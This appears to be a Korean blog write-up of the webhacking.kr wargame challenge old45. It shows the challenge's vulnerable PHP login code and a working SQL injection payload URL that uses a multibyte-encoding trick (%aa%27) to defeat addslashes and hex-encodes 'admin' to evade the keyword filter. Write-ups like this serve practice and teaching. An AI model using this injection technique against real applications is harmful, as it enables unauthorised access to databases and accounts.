webhacking.kr - old45
2021. 4. 15. 18:44ㆍWarGame/webhaking.kr
처음 접속하면 위와 같이 50번 문제처럼 sqli를 유도하는 문제를 던져줍니다.
코드를 먼저 확인해보면
<?php
include "../../config.php";
if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 45</title>
</head>
<body>
<h1>SQL INJECTION</h1>
<form method=get>
id : <input name=id value=guest><br>
pw : <input name=pw value=guest><br>
<input type=submit>
</form>
<hr><a href=./?view_source=1>view-source</a><hr>
<?php
if($_GET['id'] && $_GET['pw']){
$db = dbconnect();
$_GET['id'] = addslashes($_GET['id']);
$_GET['pw'] = addslashes($_GET['pw']);
$_GET['id'] = mb_convert_encoding($_GET['id'],'utf-8','euc-kr');
if(preg_match("/admin|select|limit|pw|=|<|>/i",$_GET['id'])) exit();
if(preg_match("/admin|select|limit|pw|=|<|>/i",$_GET['pw'])) exit();
$result = mysqli_fetch_array(mysqli_query($db,"select id from chall45 where id='{$_GET['id']}' and pw=md5('{$_GET['pw']}')"));
if($result){
echo "hi {$result['id']}";
if($result['id'] == "admin") solve(45);
}
else echo("Wrong");
}
?>
</body>
</html>
궁극적으로 id에 admin을 넣어주면 될 것 같습니다.
근데 admin이 필터링되어있으니 urlencoding해주면 간단하게 풀을 수 있을 것 같습니다.
아래는 페이로드입니다.
https://webhacking.kr/challenge/web-22/?id=1%aa%27or%20id%20like%200x61646D696E%20%23&pw=guest
위와 같이 페이를 입력하게 되면
solve가 가능합니다.
'WarGame > webhaking.kr' 카테고리의 다른 글
webhacking.kr - old40 (0) | 2021.04.17 |
---|---|
webhacking.kr - old29 (0) | 2021.04.16 |
webhacking.kr - old50 (0) | 2021.04.14 |
webhacking.kr - old28 (0) | 2021.04.13 |
webhacking.kr - old55 (0) | 2021.04.12 |